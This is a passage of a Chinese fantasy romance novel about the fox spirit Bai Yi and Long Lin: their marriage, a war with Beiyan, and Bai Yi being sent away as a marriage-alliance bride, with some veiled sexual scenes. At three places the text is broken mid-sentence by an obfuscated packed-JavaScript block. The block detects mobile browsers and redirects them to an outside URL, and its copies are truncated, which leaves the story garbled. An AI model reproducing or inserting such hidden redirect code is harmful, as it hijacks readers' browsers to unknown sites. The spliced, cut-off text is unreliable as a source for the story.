掌心下的肌肤细腻温热,他拇指打着圈轻揉,正好按在腰窝附近。白亦顿时软了身子,喉间溢出一声轻哼,那里靠近尾巴根,是狐妖最敏感的地方,被揉得狠了,只能攀着龙霖的肩膀喘息。 白亦被勾出了兴致,察觉到龙霖刻意抽出手的动作,知道他也在克制,突然撑起身子。 “龙霖,你是不是......只想和女子亲近?嫌弃我是个男人?” 这句话在心底压了太久, 龙霖静静看着他,许久,才低声道:“不是。” 白亦语气委屈:“……你从前不是这样的。” 隔了许久龙霖才缓缓开口道:“我知道你有东西放在我身上。” “......你是不是,”龙霖的声音罕见地带上几分迷茫,“想和我亲近,把东西取了回去,就会离开?” 白亦听出了龙霖话里的无奈,突然俯身,吻住龙霖的侧颈,他贴着那处肌肤呢喃:“......不是的。” 龙霖的手臂骤然收紧,将他按进怀中,两人的心跳隔着胸膛相贴,渐渐合成同一个频率。 白亦想,他也不想离开。 得到这个答案,白亦突然被龙霖笼罩下来,将他钉在方寸之间。 那具滚烫的身躯压得他喘不过气,挣脱不开也或许根本不想挣脱。 他感觉到龙霖的热。 又深又重。 像是要将他整个人剖开,从里到外都打上烙印。 烧得白亦指尖发颤,连呼吸都变得断断续续。 每一次都在要命的地方,逼得他脊背绷紧,脚趾蜷缩,喉间压抑不住的喘息。 等一切结束。 白亦趴在对方肩上,水波晃得他昏沉,皮肤相贴的地方烫得几乎要化开,温水漫过腰线时像被柔软的云托住,连骨缝里渗出的疲乏都被泡得酥软,最后一点清醒也随着蒸腾的热气散尽,眼皮坠下去时,他听见龙霖的心跳隔着胸腔震响,缓慢地沉进梦里。 * 宁国的年关总是最冷的,朔风卷着碎雪往人骨头缝里钻,边关的战报却比这天气更寒,北燕的铁骑压得紧,龙霖能抽身回府的日子掰碎了算也不过寥寥几日。 好不容易得了闲,白亦便拽着他上街,雪粒子扑簌簌地落,却在挨着人衣角前就被蒸成雾气。 宽袖底下,龙霖的手指扣得极紧,指节抵进白亦的掌纹里,像是要把这些日子缺的触碰都补回来。 白亦另一只手还在数要买的年货,絮絮叨叨地说府里的炭火、年礼、祭祖的香烛都得经他的手,话音末尾带了点不自觉的埋怨,却更像撒娇。 龙霖侧头看他,呵出的白气模糊了唇角笑意,只听见他低低说了句:“我娘子最能干了。” 街上人潮涌动,叫卖声混着炮竹碎响,白亦耳尖倏地红了,抽手想挣,却被龙霖攥得更紧。雪落满肩头,像悄悄白了头。 白亦指尖在龙霖掌心不轻不重地掐了一下,低声道:“你不要在外面说这种话。” 他仍是一身女子装束,云鬓斜挽,珠钗微颤,那张脸被雪色衬得愈发惊艳。 走累了,他便拽着龙霖的袖口说饿,两人于是挑了一家临街的酒楼进去,二楼雅座垂着竹帘,隔出一小方清净。小二殷勤引路,一口一个“老爷夫人”叫得热络。 茶刚斟满,帘外便有人躬身递话,说两位,静竹公主有请。 白亦想起那日险些被打回原形的痛楚,可抬眼时却见龙霖神色平静,只问他:“你想去吗?” 白亦抿了抿唇,他想起司晨曾说,龙霖连公主府的宴帖都鲜少应承,他说:“毕竟是公主有请,总不好推拒。” 雅间里熏香袅袅,静竹公主正在喝茶,身侧还坐着两人,一人正是那日长街上纵马飞驰、险些踏伤幼童的华服男子,以及曾在公主生辰宴上露过面的另一位。 龙霖替白亦介绍:“这是今上的四皇子和五皇子。” 话音未落,五皇子邵献的目光已掠过龙霖,在白亦身上停留。 龙霖眉头一皱,侧身将白亦往身后挡了挡。 五皇子突然说真是你,于是说起那日白亦飞身救人的情形。 龙霖显然不知道还发生了这么一遭事,淡淡道:“夫人向来心善。只是五皇子当街纵马,若伤了百姓,该当如何?” 邵宵执起酒盏解围,对于龙霖的咄咄逼人颇有微词,他笑意不达眼底:“父皇已重重罚过五弟,当日多亏龙夫人出手相助,本宫敬你一杯。” 白亦从落座起便未发一言。 静竹公主端坐主位,茶盏抵在唇边,面上端庄温雅,眼底却密语如针,对白亦说:“你使了什么妖术蛊惑龙霖?” 白亦说他没有。 “不信。”静竹说,“九重天上多少仙子对他暗送秋波,他都不屑一顾,偏栽在你这种野路子的狐媚手段上。” 白亦若此刻尾巴在外,怕是早已炸毛竖起,打不过,骂不赢。 邵宵的酒盏已递到眼前,白亦尚未回神,手指先一步接了过来。下一秒,龙霖的手不容抗拒地将酒杯截了过去。 “四殿下恕罪。”他声音沉静,却透出一抹强势,“我夫人身子弱,饮不得酒,我代他。” 说罢他仰首一饮而尽。 邵宵怔了怔,目光在二人交叠的衣袖间打了个转:“倒是我考虑不周了。” 他笑着赔罪说:“龙夫人,得罪了。” 白亦连忙装出一副柔弱的模样,轻咳两声:“四皇子言重了。” 席间酒过三巡,话题转到了北燕战事。 四皇子和龙霖都不太乐观,唯有五皇子认为宁国肯定会大胜。 静竹的密语突然刺入白亦耳中:“此战宁国必败。司命已告诉我,由你替我去北燕和亲。” 白亦:“......就非得如此吗?” “你以为命册是儿戏?一丝偏差便是三界动荡。情劫若不痛彻心扉,何来大彻大悟?龙霖肩负三界,归位刻不容缓。” “小狐狸,你别挡他的道。” 龙霖给他夹了爱吃的菜,白亦却食不下咽。 回程的马车上,龙霖将他冰凉的手拢入掌心,车帘外碎雪纷飞。 龙霖身上带着淡淡的酒气,眼底沉着几分醉意:“什么时候救的人?这种危险的事不准再一个人做。” 白亦被他圈在方寸之间,闷声辩解:“我是妖,伤不到我的。” 这话倒让龙霖难得一噎:“那也不行。” 龙霖下巴重重压在白亦肩窝:“以后有事必须告诉我,不准骗我,听见没有?” 白亦动了两下没出声。龙霖忽然收紧了手臂,嗓音里掺了丝危险的质问:“小骗子,你还瞒着我什么?” “......没有了。” "真没了?" "......真没了。" “离四皇子五皇子远点,他们看你的眼神让我很不舒服。” 白亦哭笑不得:“我是男子......” “还有静竹公主也远一些。”龙霖突然掰过他下巴,“她盯你的时间比那两个人还久。" 白亦:“......……” 年关刚过没几日,宋则这个孤家寡人又厚着脸皮登门蹭饭来了,还带着几个当年和龙霖一同进京赶考的同窗。 酒过三巡,几人都喝得上了头,拍着桌子开始细数寒窗苦读的辛酸,说到动情处连眼眶都红了。 龙霖和白亦这些年没少接济这些同窗,席间推杯换盏倒也热闹。有人醉醺醺地打趣,说就数龙霖命最好,不仅高中入仕,还有这么个漂亮贤惠的“夫人”相伴,哪像他们府上,连个知冷知热的人都没有。 又有人借着酒劲“翻旧账”,说当年在书院时,每次白亦来给龙霖送东西,都能惹得满院学子眼红。 龙霖嘴上说着“是长辈定下的婚事,他也身不由己”,却小气得连让人多看一眼都不肯,非得把人拉到角落里说话。后来白亦真不来了,这小子反倒往家跑得比谁都勤。 白亦闻言抬眼看向龙霖,果然见他握着酒杯的手指微微收紧,表情不甚自然。 白亦声音里带着笑意:“你们别逗他了,他脸皮薄。” 宋则想起一件事立刻道:“嫂子你是不知道,当初龙霖成亲的时候那个欠打得意的模样,我真是想起来都恨得牙痒痒,当年原本替我母亲选生辰礼物,他便说给我当参考,我以为他真心实意。” “‘这钗不错,我娘子戴应该最好看’”宋则学着龙霖的语气,接着愤愤不平,“我给他看我给我娘的寿礼,他倒好,别有私心!” 满座哄笑中白亦也笑着低下头。龙霖脸色变了又变:“宋则,闭嘴。” 闹到三更天,白亦安排车马送客,醉得走不动的就安置在厢房。 龙霖醉得最厉害,被扶上床时还攥着白亦的衣袖不放。等仆役都退下,白亦刚拧了热毛巾转身,突然被拽着手腕跌进龙霖怀里。 窗外“砰”地炸开一朵烟花,龙霖的吻混着酒气落在眉心。白亦听见他胸腔震动,带着醉意的声音又低又哑:“......两年了。” 明明灭灭的光透过雕花窗棂,在白亦脸上投下斑斓的影子。他枕在龙霖心口,望着窗外接连绽放的焰火,上京的确比封阳县不知热闹多少——这是他在狐族幽谷修行百年,从未见过的红尘热闹。 白亦指尖描摹着龙霖轮廓,声音轻得像雪落:“龙霖,你知道吗?我以前当狐狸的时候,觉得一辈子在狐谷摘果子的时候就很好,只听狐族前辈说过,有个叫人间的地方,我们狐狸去不得,我本来也有个哥哥,他对我很好,他来一趟人间,爱上了一个不该爱的人,就再也没回过狐谷,前辈们都说他死了。” 字句带着哀伤。 龙霖的手掌笨拙地拍在他后背:“你哥哥也爱上了凡人吗?你是来......寻你哥哥的吗?”问话在醉意里断成几截。 白亦没有回答,只把脸埋进对方颈窝,直到听见龙霖含混的承诺:“以后我当你的亲人......” 呼吸渐渐绵长。 月光爬过窗棂,白亦的指尖停在龙霖眉骨:“我哥爱上的也是个神仙......却被逼得堕了魔。” 他在黑暗里俯身,唇瓣颤抖着贴上龙霖的额头:“到时候你想要我的命就拿去……我知道,等到你归位那天我们便是反目之时。” 神仙是不会想要用自己逆鳞去救一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523534|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堕魔的妖物的。 “可我不能眼睁睁地看着我哥那样,我本来只是想骗骗你,可是却爱上了你……” 三月的雨下得绵密,朝堂上笼罩着挥之不去的阴霾。 北燕的铁骑踏碎了边境的春色,宁国靠着囤积的粮草熬过寒冬,却在开春时节节败退。四皇子披甲上阵的消息传来时,龙霖也消失了数日,白亦后来才得知,他瞒着他竟亲自押送粮草去了前线。 在北燕攻下宁国的三座城池后,朝中主和派便接连上奏,宁国皇帝向北燕递了求和信。 白亦隐去身形站在战场上,雨水混着血水浸透泥土,伤兵的呻吟声被雨幕打得支离破碎。 北燕兵肥马壮,双方悬殊的差距一目了然。 龙霖眼底布满血丝,铠甲下的衣袍已经数日未换,正哑着嗓子与五皇子他这种激进的打法,再打下去的会死多少人。 邵献目眦尽裂:“不打下去,那我长姐就要被送去和亲!龙霖,你懂吗?” 龙霖脸上浮现一抹深深的无奈。 司命不知何时出现在身后,衣摆不沾半点血污。 “你觉得悲哀?”他开口对白亦道,“凡间的战争不过如四季轮转,不要插手试图改变什么,占有与掠夺,本就是人刻在骨子里的天性。” 雨丝穿过司晨虚幻的身影,将这番话浇得愈发冰冷。 远处龙霖突然抬头,仿佛感应到什么似的望向白亦隐身的方向,却只看见被雨水洗得发亮的枪戟和残缺的城墙。 北燕皇帝收了求和书,而后派了北燕使团进入宁国。 四皇子的军队随之班师回朝,旌旗上还沾着未干的血迹。 白亦在城外十里亭就迎上了龙霖。风尘仆仆的将军铠甲未卸,眼底青黑一片,下巴上冒出的胡茬刮得白亦掌心发痒。四皇子拍了拍龙霖的肩,朝白亦颔首示意,便回宫了。 浴桶里的热水漫过龙霖精瘦的腰线,白亦的指腹沾着澡豆,在那些新增的伤痕上小心翼翼地打转。忽然触到臂膀一道狰狞的疤,结痂的皮肉还泛着红。 “不是只送粮草吗?”他声音发紧,“怎么伤成这样?” 龙霖突然抓住他的手腕:“当时北燕突袭,为了救一个被箭射伤的小兵……他只有十七,家中还有父母和兄弟,就那么死在我怀里……” 话尾突然哑了,像被什么哽住。 白亦一把将人搂进怀里,湿透的衣襟贴在胸口也顾不得。他手指插进龙霖半湿的发间,像安抚受惊的野兽般轻轻梳理:“不会了,以后再也不会打了。” 北燕果然狮子大开口,三座富庶城池,百万两白银,更要宁国捧出最珍贵的明珠。 朝中大臣提出以宗室女加封公主代嫁。北燕为首的使者突然大笑,镶着金牙的齿列闪着寒光:“我们王上斩下的头颅能堆成山,岂是什么阿猫阿狗都配得上?” 话音未落,五皇子要起身争执,被四皇子一个眼神钉在原地。 龙霖注意到使团末席那个戴玄铁面具的男子,手指在膝头一叩一叩,那为首的使者说话时甚至看了看他的眼色,不由地皱了皱眉。 总之第一日是谈崩了。 白亦正对着铜镜描眉画目,待最后妆成,司晨和司命对视一眼,齐齐竖起大拇指。 不得不说,这狐狸精是长得真好。 镜中人眼波流转间,桃花都逊色三分。 白亦抬手拂着鬓边珠钗,他这次的任务简单直白。 司命道:“你只要让那北燕皇帝多看你两眼,这事没准就成了。” 白亦开口说:“你们到底能不能确认,堂堂北燕君主,竟敢混在使团里深入敌国?” 司晨说:“那是个从尸山血海里爬出来的主儿,北燕皇位不讲究血脉,只认拳头,而且北燕铁骑就在两国边界虎视眈眈,即使有人发觉他的身份,你猜有人敢对他做什么吗?” 钟离邃走过宁国长街,目光仿佛睥睨一切。 两侧百姓如潮水退避,他半张面具映着冷光,露出的下颌线如刀削般锋利。 白亦提着新裁的裙裾迈出成衣铺子,他佯装不经意地抬头,正撞进面具后那双鹰隼般的眼睛里。 忽然一阵疾风掠过,面上面纱如白蝶翩然坠落,他弯腰去拾,后颈雪肤在青丝间若隐若现,却被一阵风吹起。 白亦也不管有没有用,施了点媚术在那凡人身上,果真看见那人盯着自己痴痴的眼神。 白亦转身没入人群,耳坠晃出一道银弧。 钟离邃突然推开护卫冲出去,瓦图带着使团气喘吁吁追到时,只见他们向来杀伐果决的君主正攥着半幅白纱站在巷口。 “主上,我们身处异国,还是小心为上。” 那片月白衣角进入人潮便不见了踪迹,钟离邃忽然按住心口:“瓦图,我见到神女了。” 回府的白亦坐在镜前。 铜镜里映出白亦精心描画的眉眼,胭脂晕染的眼尾还泛着薄红。 司晨坐在一旁说:“这事大概是成了。” 白亦正出神地望着镜中陌生的自己,司晨开口说龙霖回来了,说完便遁了。 房门被推开,白亦还没来得及转身,肩膀就被人按住,发间那支鎏金点翠的步摇就被龙霖抽走。 “你素来不爱这些艳俗首饰。”龙霖声音沉在喉间,“今日去哪了?” 白亦心虚:“偶尔也想换换打扮,好看吗?” 龙霖突然将簪子掷在妆台上:“好看,不过下次别戴了。” 白亦察觉到龙霖有些不开心,转身顺势环住他脖颈,脸颊贴在他肩窝轻轻蹭了蹭:“我以后不这样打扮了,别不开心了。” 12.离去 烛火在纱罩里轻轻晃动,床帐里叠成一团模糊的轮廓,白亦浑身酸软地陷在龙霖怀里,腰肢还残留着情//事过后的余韵,稍一挪动就牵出隐///秘的酥///麻。 他盯着龙霖熟睡时舒展的眉宇,指尖悬着终究没敢真正落下,已经走到这一步,再多的犹豫也无济于事。 这几日白亦很是反常。 龙霖在书房看军报时,他非要蜷在旁边的太师椅里陪着,龙霖夜读,他硬要挤进同一个软枕,结果没翻几页就睡得不省人事,醒来时总发现自己被妥帖地裹在被褥里。 府里的下人私下议论,说夫人近来黏将军黏得紧,怕不是比新婚时还蜜里调油。 龙霖闻言只是挑眉,一方面很受用,掌心摩挲着白亦后颈的姿势露出愉悦,另一方面又有些不理解。 明明白亦根本不会下厨还要去做饭,手忙脚乱一番,端出盘蔫黄的青菜,龙霖夹起一筷送入口中,咸涩的味道立刻炸开,龙霖抿了抿唇:“太咸了,你以前......” “以前都是用法术糊弄的。”白亦苦着脸,自己也尝了一口,立刻被齁得皱起鼻子。 龙霖叹了口气,指尖轻轻擦过他沾了烟灰的脸颊:“以后别进厨房了,咱们有厨子。” 白亦只是想给龙霖多做一些事。 暮色渐沉时,宫里突然来人传召。 龙霖放下碗筷:“别等我,你先睡。” 他起身时,白亦已经拿过仆从手中的油纸伞,雨水顺着伞骨滑落。 “相公,我送你。” 龙霖接过伞,顺势将人揽近:“等战事了结,我们回趟封阳县,去看看爹娘,拜会恩师。” 白亦只应一个单薄的“好”字。 送到门口,龙霖就让他回去。 马车轮碾过湿漉漉的石板路,渐行渐远。 白亦站在檐下,雨水打湿了他的衣摆,他却浑然不觉,只是盯着那点摇晃的灯笼光,直到它彻底消失在雨幕深处。 龙府的灯一直亮到后半夜,白亦坐在厅堂里,李婆婆第三次来劝:“许是军务耽搁了,您先去歇着。” 等老人的脚步声消失在走廊尽头,白亦唤出司命:“龙霖不会答应的。” 司命与司晨早已暗中布局,将白亦的画像呈至北燕皇帝案前。画中人身着素衣,恰是那日长街惊鸿一瞥的模样。北燕皇帝抚过画纸的指腹沾了墨香,开口便要这人来和亲。 宫灯在夜风中摇晃,将龙霖的影子投在御书房的金砖上。 皇帝今夜召他便是说此事,只要龙霖流露出一丝抗旨之意,禁军的刀立刻就能架上他的脖颈,也可以此为原因将他囚禁威胁白亦。 送自己的妻子去和亲,哪个男子能够接受。 司命站在灯影交界处:“这本该是他的劫数。” 那些在神仙眼里轻飘飘的命数,落在人身上却是切肤之痛。 天快亮时,白亦仍保持着那个僵硬的坐姿。晨露顺着瓦当滴落,在石阶上溅起的水花。 他怕极了,他怕龙霖会受刑,现在的龙霖不是真龙之身,没有仙力护体,只是个会流血会痛的凡人。 第二日白亦才知龙霖果然因顶撞圣颜被押入诏狱。 白亦站在公主府的廊下,直到四皇子与五皇子的脚步声由远及近,邵宵第一件事就是递来那封休书。 说是休学,还不如说是血书,是龙霖在诏狱用磨尖的碎瓷蘸着血写的。 “龙霖说,你们从此两不相干。”邵宵的声音压得极低,“北燕皇帝指名要你去和亲,禁军随时会到。龙霖在战场上救过我弟弟的命,我答应他要帮你离开……” 话尾顿了顿,邵宵开口说:“他说你有法子消失,让所有人都找不到你。” 白亦捏着休书的手指都在颤抖,他想这是流了多少血。 “我若走了……龙霖怎么办?宁国怎么办?” 邵宵:“龙霖这是拿命在护你,你还是听他的吧,再说我宁国男儿没道理牺牲一个女子换一时苟且。” “我不能逃。”白亦的声音很轻。 邵宵一把攥住他的手腕:“那你想被送去和亲吗?你知不知道北燕皇帝是什么人?暴虐无道——" “四殿下。我若今日走了,明日北燕的铁骑就有理由会踏破边境。”白亦挣开邵宵的手,他想起龙霖从前线回来那夜,血污未洗崩溃的模样,“龙霖不想再看见有人死了,我想让他如愿。” 邵宵:“这本该与你们无关的!” 话音未落,邵献急促的声音打断了他:“皇兄!禁军要闯进来了!” 白亦对着五皇子说:“不必拦了,我答应去和亲。” 龙霖在被关起来的第三日,锁链的碰撞声在阴湿的牢房里格外刺耳, 龙霖勉强抬起沉重的眼皮,模糊的视线里,又以为是那些来提审的官兵。却见一道雪白的身影立在铁栅外,在这昏暗污浊的诏狱里,白亦干净得像是误入凡尘的谪仙。 抗旨不尊的罪名压下来,再加上这两年龙霖在朝中锋芒太露,不知得罪了多少人。 刚被押进诏狱,就有人迫不及待地给他“加餐”。身上的囚衣早已看不出原本的颜色,鞭痕交错处皮肉翻卷,血痂结了又裂,没有一寸完好的皮肤。 白亦跪在潮湿的青石地上,雪白的衣摆立刻被污水浸透。 他颤抖着捧起龙霖的脸,指尖触到那些细小的伤口,白亦的声音哽在喉间,眼泪砸在对方手背上,烫得惊人:“龙霖......是不是很疼,他们怎么能这么对你?” 龙霖猛地推开他的手,力道大得让白亦踉跄后退。 龙霖咳出一口血沫,声音嘶哑:“你来干什么……走啊!” 白亦的眼泪断了线似的往下掉,摇头:“我不会丢下你。” 他伸手又要去扶,却被龙霖颤抖的手指攥住手腕。 “白亦……”龙霖艰难地吐出这两个字,喉结滚动着咽下涌上的血腥气,“我已经……把你休了……所以你爱去哪就去哪。” 话音未落,他的瞳孔骤然涣散,整个人栽倒。最后的视线里,是白亦陡然放大的惊恐面容,和那袭被血染透的白裙,殷红的血迹在素白布料上晕开,让他恍惚想起大婚那日。 其实红衣更衬他。 龙霖在陷入黑暗前模糊地想,他怕多看一眼,自己就要落下泪来。 * 龙霖在一片竹叶沙沙声中醒来,阳光透过窗棂在地上投下斑驳的光影。 他微微侧头,看见白亦趴在床边睡着了,发丝散落在他的手腕上,痒痒的。他静静凝视着,连呼吸都放轻,只盼这一刻能绵长些,再绵长些。 一声压抑的咳嗽到底打破了宁静。 白亦猛地惊醒,下意识伸手探他额头,掌心凉丝丝的:“烧退了。” 龙霖看着他,喉结滚动了几下才发出声音:“不是叫你走吗?你是妖……他们抓不住你的。” 白亦起身去拧帕子,背对着他,肩膀绷成一道倔强的线:“那你呢?” “我们已经没关系了。”龙霖盯着屋顶的竹梁,上面有只蜘蛛在结网,“这是哪?” 白亦说这里是一处隐蔽之处。 “我将你带了出来。”白亦拧干帕子,“等你好了,我们就走,去个没人能找得到我们的地方。” 龙霖没接话。 窗外的竹叶突然沙沙作响,起风了。 龙霖的伤势以惊人的速度好转,那些深可见骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙霖站在街角,询问一个老汉刚才发生了什么,老汉疑惑地打量他:“你这都不知道,今儿个北燕使团出城,可算送走这群瘟神了。” 旁边挑担的货郎压低了声音:“要我说,那北燕人真不是东西。”他啐了一口,“龙大人夫妇多恩爱的一对儿,硬生生给拆散了,造孽啊!” 另一个人突然插话:“话不能这么说,要是北燕再打过来……就是可怜龙夫人……” 那声音清清楚楚飘进龙霖耳中。他站在原地,那些议论声都模糊起来。 龙霖强忍着胸腔里翻涌的绞痛,踉跄着回到龙府,朱漆大门完好无损,檐下的灯笼甚至换了新的,仿佛一切如常。 门房看见他,慌慌张张地迎上来。站在石阶上的邵宵快步上前,欲言又止:"“.....你还好吗?” “备马,快给我备马!” 门房迟疑地望向邵宵,龙霖突然暴怒:“我让你备马!” 侍卫扑通跪地,额头抵着青石板:“大人,夫人……已经走远了。” 这句话像柄钝刀,生生劈开龙霖的理智。 “你们都在骗我!”龙霖一把揪住邵宵的衣领,指节因用力而发白。 邵宵任由他拽着:“父皇拿着你的命胁迫于他,而且北燕随时又有大军压境的准备,他知道你根本不会跟他一起离开的,你放不下宁国,放不下大义,所以他替你分担了,白亦说你们府中上下几十口,替你求情的故友,不能受你们牵连。” “他盼着你能好好活下去。” 龙霖急火攻心,吐出一口血,突然失了力气昏死过去。 13.隔阂 浩浩荡荡的和亲车队行进了一整日,终于在暮色四合时停下休整。 瓦图第三次看着自家主上亲自将食盒递进马车,那宁国“公主”却连帘子都没掀一下。更奇怪的是,这一路颠簸难行,竟没听那人喊过一句累。 火把点了三堆。 钟离邃的面具在篝火映照下泛着冷光,他远远望着坐在另一堆火旁的白亦。 宁国皇帝做足了排场,以公主仪仗送白亦出嫁,陪嫁的丫鬟侍卫围了一圈,明为伺候实为监视。 酒壶在火堆上温得正好,钟离邃突然起身。 北燕使臣们见怪不怪地继续吃肉喝酒,而宁国侍卫立刻横刀阻拦他。 刀鞘上的铜钉擦过酒壶,溅出几滴滚烫的酒液,落在钟离邃手背上:“天冷,白姑娘喝点酒会好些。” 白亦面上覆着面纱,突然转了向,夜灯将白亦鬓边一缕散发吹起。 白亦起身欲回到马车上,衣裙上绣的金线凤凰在火光中振翅欲飞,他冷冷开口:“多谢美意,不过我此去是嫁给你们北燕王的,阁下这双眼,还是安分些好。” 若不是司命的命册压在头顶,他早将这车队掀个底朝天,才不会去什么劳什子和亲。 钟离邃突然大笑,下一秒,他铁钳般的手已掐住刚才阻拦他的侍卫的脖子,咔嚓脆响后,尸体像破布般瘫软在地。 侍女的尖叫声响起,北燕将士的弯刀齐刷刷出鞘。 面具落地,露出张刀刻斧削般的脸。 钟离邃踩着那侍卫尚未凉透的尸身,他歪头一笑,邪气从眉梢漫到嘴角:“你说得对,但可巧了,我就是北燕的王。” 他腰间玉佩上,盘龙纹狰狞欲出。 那日钟离邃下令杀死了好几个侍卫婢女,居然还向白亦邀功:“这是宁国皇帝派来监视你的吧,我见他们几次对你无礼,我替你杀了出出气。” 白亦心底暗暗想,这北燕的王果然是个手沾鲜血,残忍无道的人,这还没到北燕,便杀了不少宁国可能插过去的细作。 可谓是狂妄到了极点。 白亦皮笑肉不笑地道:“那就多谢了。” 钟离邃玩着匕首惊奇道:“你不怕我?” 白亦敷衍道:“怕死了。” 白亦兀自掀开车帘上去了,心想我要是露出原型估计得吓死你。 钟离邃只觉得有趣。 钟离邃下令放慢行进速度,美其名曰体恤“公主”舟车劳顿。 北燕的侍卫将白亦盯得死紧,连喘息的空隙都不给。白亦借口解手,才勉强得了片刻独处。他蹲在茂密的草丛间,随手揪了根草叶咬在齿间,苦涩的汁液在舌尖漫开,不远处宁国侍卫的佩刀若隐若现,更远处则是北燕人。 提着繁复的衣裙摆起身,白亦回去的路上踩歪了一步。 身后侍卫立刻上前搀扶,掌心温度透过衣袖传来:“小心。” 这两个字惊得白亦浑身一颤。 他猛地抬头,正对上那双熟悉的眼睛。 易容术改得了轮廓,却遮不住龙霖看他的眼神,炙热滚烫,白亦的指尖无意识攥紧了对方的手腕。 远处传来北燕侍卫的呼喝声,龙霖迅速低头退开,可方才相触的皮肤还残留着战栗的温度。 白亦的心跳乱得厉害,指尖在袖中微微发抖。 司命的命册上分明写着龙霖不会追来。 白亦强迫自己目视前方,连余光都不敢往旁边瞥。龙霖穿着宁国侍卫的装束,沉默得像道影子,也不知是何时混进了送亲队伍。 钟离邃说:“怎么这么慢?” 白亦说:“吃得多。” 钟离邃哈哈大笑,没半点君王威仪。 白亦快步钻进马车,绸缎帘子甩出一道急促的弧。 钟离邃驾着马走在马车身边,路上遇到什么新奇地便来掀帘子。 最后一次白亦正撞上龙霖灼灼的目光,那眼神烫得他手指一颤,帘子哗啦落下,隔断了两人交汇的视线。 坐垫被白亦揪出深深的褶皱,就像他此刻再也理不清的心绪。 远处传来北燕士兵粗犷的歌声,混着车轮碾过碎石的声响。 白亦想不通,龙霖怎么就能抛下宁国的锦绣前程,抛下那些熬过多少寒窗才换来的功名,抛下满腹经纶与济世抱负,就这么不管不顾地追来。 明明知道自己身为妖物,总有脱身之法,明明龙霖最是聪慧通透,该看得懂这番牺牲的用意。 为何要追来?为何要犯傻? 行至宁国边境的最后一座小城,出了此地便是北燕疆土。 城中太尉殷勤地将众人安置在一处雅致院落,白亦独居一室。连日奔波令人疲惫不堪,钟离邃破例下令休整两日再启程。 白亦都没机会能够单独同龙霖说上话,本来宁国的侍卫被钟离邃杀得已经所剩无几。 首日晚宴,太尉府中灯火通明。 白亦依旧戴着面纱,坐在钟离邃身边,轻纱下若隐若现的轮廓惹得席间众人频频侧目。 太尉举杯时激动得胡须颤抖,将这场和亲吹捧成救国壮举。 龙霖从不让他碰酒,白亦好奇,喝了一口,辛辣滋味滑过喉间,呛得他眼角泛红。 太尉还在喋喋不休地歌功白亦的颂德,赞扬这场亲事。 钟离邃笃定,像在宣读某种不容违抗的天谕:“当然,这是神的旨意,待我们回去,便会在北燕都城举行最盛大的仪式,白亦回成为我的王后,然后诞下我的继承人。” 话音落下,他突然攥住白亦的手腕。 白亦的皮肤在烛火下泛着冷白,被钟离邃古铜色的手指一衬,更像玉雕般易碎。 余光里,站在阴影处的龙霖猛地绷直了背脊,握刀的手背上青筋根根暴起。 白亦简直如坐针毡,他佯装疲惫想要去休息。 钟离邃于是吩咐侍卫好好跟着。 夜色沉沉,白亦扶着廊柱缓了缓神,他明明只喝了一点酒,太阳穴突突地跳。侍女们不敢上前,只远远站着,见他踉跄几步,自己撑着关上了门。 白亦试着运转妖力,抬手一摸,指尖触到毛茸茸的耳尖,什么时候露出来的?还没想明白,尾椎骨一麻,那条尾巴不受控地窜了出来。 他低骂一声,扯过被子把自己裹紧。 龙霖推门进来时,屋里黑得伸手不见五指。他刚踏进一步,腰间骤然一紧,被什么柔软却不容抗拒的东西缠住,猛地拽向床榻。后背刚陷进锦被里,一具滚烫的身体就压了上来,呼吸里还带着未散的酒气。 黑暗中,龙霖看不清白亦的表情,只感觉到怀曼呼吸间带着微醺的酒气,温热地拂过自己鼻尖。 他皱了皱眉,手指无意识地收紧,指节抵在对方颈后,触到一片细腻的皮肤。 白亦的声音压得很低,带着点咬牙切齿的意味:“你不该来,你知不知道很危险?” 龙霖说:“你也知道很危险。” “你应该好好呆在宁国,别来寻我,你有想过后果吗?你的仕途,你的故友……” 龙霖指腹摩挲着他后颈的弧度,力道不轻不重,却让人挣脱不开。他嗓音沉哑,带着点狠劲儿:“那你呢?你考虑过我的感受吗?” 话音未落,他猛地扣住白亦的后脑,低头咬了上去。 唇齿相///撞的瞬间,血腥味在口腔里蔓延开来,白亦闷哼一声,手指下意识攥紧了龙霖的衣襟。 龙霖没松口,反而加重了这个吻,像是要把所有未说出口的怒意、不甘和执念都碾碎在这个吻里。 白亦的呼吸乱了,却终究没推开他。 龙霖的拇指重重碾过白亦唇角的血痕,额头抵着额头:“我们逃吧,去个没人认识的地方,我为我的故土鞠躬尽瘁,死而后已,而现在陛下却要用我的妻子换宁国一时的苟且。” 每个字都咬得极重,像是从胸腔里硬生生剜出来的。 白亦能感觉到他指尖在细微地发抖,不是恐惧,而是某种压抑到极致的疯劲。这不像他认识的那个龙霖,那个永远端方持重,把家国大义刻在骨子里的龙大人。 他当初想的是,自己这一走,龙霖可能会颓废消沉一段时间,倒是为了大局考虑,他会像司命写的那样留在宁国,过他的命数。 而自己总能找到脱身的法子。 但架不住命数这个东西往往是最不可预料的。 白亦的语气里带着恳求:“……龙霖,你听我的,你好好回去好不好?” 龙霖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白亦突然想起那日龙霖问他是不是从他身上取回放的东西,他就会离开,他当日不知道如何回答。 